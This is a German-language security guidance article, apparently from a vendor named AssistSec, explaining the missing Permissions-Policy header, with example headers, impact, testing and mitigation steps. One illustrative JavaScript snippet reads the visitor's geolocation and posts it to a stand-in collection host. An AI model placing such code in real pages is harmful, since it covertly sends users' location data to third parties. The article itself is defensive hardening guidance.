Fehlende Permissions-Policy

Browser können heute weit mehr als Seiten anzeigen: Sie bedienen Kameras, Mikrofone, Bewegungssensoren und Zahlungsanfragen. Jede Seite darf diese Funktionen grundsätzlich ansprechen, und das gilt ebenso für Skripte und Frames Dritter, die Sie einbetten. Mit einer Permissions-Policy legen Sie fest, welche dieser Möglichkeiten Ihre Anwendung wirklich benötigt. Im Folgenden lesen Sie, wie das funktioniert und warum es mehr ist als eine Datenschutzmaßnahme.

Was ist eine Permissions-Policy?

Die Permissions-Policy ist ein HTTP-Header, mit dem der Server angibt, welche Browserfunktionen innerhalb einer Seite und innerhalb der darin geladenen Frames verfügbar sind. Denken Sie an Kamera, Mikrofon, Geolokalisierung, Zugriff auf Bewegungssensoren, den Mechanismus für Zahlungsanfragen und die Bildschirmsperre. Was Sie nicht erlauben, existiert für diese Seite schlicht nicht.

Der Vergleich mit einem Schließplan eines Gebäudes liegt nahe. Ein Besucherausweis gewährt Zutritt zu den Räumen, die jemand braucht, nicht zum Serverraum und zum Archiv. Nicht weil jeder Besucher verdächtig wäre, sondern weil Zutritt, den niemand benötigt, nur Risiko hinzufügt. So arbeitet auch dieser Header: Sie geben Ihrer Anwendung genau die Möglichkeiten, die sie nutzt.

Anders als bei der Rückfrage des Browsers geht es hier nicht um die Entscheidung des Nutzers. Die Richtlinie wirkt eine Ebene davor: Die Funktion ist nicht verfügbar, die Frage wird also nie gestellt, auch nicht einem Nutzer, der einmal zugestimmt hat.

Wie funktioniert eine Permissions-Policy?

Der Unterschied wird sichtbar, sobald in Ihrer Seite Code läuft, den Sie nicht selbst geschrieben haben: ein eingebettetes Widget, ein Werbeframe oder Skriptcode, der über eine Einschleusung hereingekommen ist.

Verwundbar:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

Ohne Richtlinie gelten die Voreinstellungen des Browsers, und diese erlauben der Seite bei den meisten Funktionen die Nutzung. Eine eingebettete Komponente kann dann Folgendes tun:

// In einem Fremdskript oder über eine Einschleusung in der Seite gelandet
navigator.geolocation.getCurrentPosition((pos) => {
  fetch('https://sammeln.example/ort', {
    method: 'POST',
    body: JSON.stringify({ lat: pos.coords.latitude, lon: pos.coords.longitude }),
  });
});

Der Nutzer erhält eine Rückfrage, die von Ihrer Website zu stammen scheint, denn diese steht in der Adresszeile. Hat er zuvor eine Erlaubnis für den Standort erteilt, erscheint selbst diese Frage nicht mehr, und die Koordinaten gehen unmittelbar hinaus.

Sicher:

HTTP/1.1 200 OK
Permissions-Policy: camera=(), microphone=(), geolocation=(self),
  payment=(), usb=(), magnetometer=(), accelerometer=(), gyroscope=(),
  fullscreen=(self), interest-cohort=()

Die leeren Klammern bedeuten: niemand, auch nicht Ihre eigene Seite. Kamera, Mikrofon und Zahlungsanfragen sind damit vollständig abgeschaltet. Bei geolocation steht (self), was bedeutet, dass nur Ihre eigene Seite diese Funktion ansprechen darf und ein eingebetteter Frame eines Dritten nicht. Das obige Skript scheitert nun bereits am Aufruf; es gibt keine Rückfrage und nichts zu erlauben.

Für eine bestimmte Ausnahme benennen Sie den Ursprung ausdrücklich:

Permissions-Policy: camera=(self "https://videoanruf.partner.example")

Welche Auswirkungen hat eine fehlende Permissions-Policy?

Dies ist ein Härtungsbefund mit niedrigem Schweregrad: Das Fehlen des Headers ermöglicht keinen Angriff, der sonst unmöglich wäre. Der Wert liegt in der Schadensbegrenzung.

Gelingt es einem Angreifer, Skriptcode in Ihre Seite zu bringen, bestimmt diese Richtlinie mit, was er damit anfangen kann. Ohne Beschränkung geraten Kamera, Mikrofon und Standort in Reichweite dieses Codes, mit einer Rückfrage, die den Namen Ihrer Organisation trägt und die viele Nutzer gerade deshalb bestätigen, weil sie Ihrer Website vertrauen. Dasselbe gilt für eingebettete Komponenten Dritter, die auf diese Weise Daten sammeln können, die Sie nie teilen wollten.

Hinzu kommt eine konkrete Datenschutz- und Compliance-Seite. Nach der DSGVO sind Sie dafür verantwortlich, was über Ihre Website geschieht, auch wenn ein eingebettetes Skript eines Lieferanten Standortdaten abfragt. Eine ausdrückliche Richtlinie ist damit sowohl eine technische Maßnahme als auch eine nachweisbare Beherrschung dieses Risikos.

Wie spürt man eine fehlende Permissions-Policy auf?

Neben der schlichten Prüfung, ob der Header vorhanden ist, geht es um dessen Vollständigkeit. Eine Richtlinie, die nur camera und microphone nennt, belässt Dutzende weiterer Funktionen auf ihrem Standardwert.

Ein Tester erfasst deshalb, welche Funktionen die Anwendung tatsächlich nutzt, und vergleicht das mit dem, was die Richtlinie erlaubt. Ebenso werden die Frames betrachtet: Erhält eine eingebettete Komponente mehr Rechte als nötig, etwa weil die Richtlinie * statt eines ausdrücklichen Ursprungs verwendet? Ferner wird geprüft, ob die Richtlinie auf allen Routen gesetzt ist und ob das allow-Attribut an iframe-Elementen nicht doch weiter reichende Rechte zurückgibt. AssistSec bezieht diesen Header in die umfassendere Beurteilung Ihrer HTTP-Konfiguration ein, bei der der Zusammenhang mit der CSP und dem Frame-Schutz maßgeblich ist; einzelne Header sagen weniger aus als das Ganze.

Wie verhindert man eine fehlende Permissions-Policy?

• Senden Sie bei jeder HTTP-Antwort eine Permissions-Policy mit, zentral geregelt in Webserver, Proxy oder Middleware.
• Gehen Sie von einer ausdrücklichen Liste aus: Benennen Sie jede Funktion, die Sie begrenzen möchten, denn nicht genannte Funktionen fallen auf den Browserstandard zurück.
• Schalten Sie Funktionen, die Sie nicht nutzen, mit leeren Klammern vollständig ab, etwa camera=(), microphone=(), payment=().
• Begrenzen Sie Funktionen, die Sie sehr wohl benötigen, auf (self), damit eingebettete Frames Dritter nicht darauf zugreifen.
• Benennen Sie Ausnahmen mit dem vollständigen Ursprung und verwenden Sie nie einen Platzhalter.
• Stimmen Sie die Richtlinie mit dem allow-Attribut Ihrer iframe-Elemente ab; beide dürfen einander nicht widersprechen.
• Überprüfen Sie die Richtlinie, wenn Sie neue Funktionen hinzufügen, damit sie nicht stillschweigend zu weit oder zu streng wird.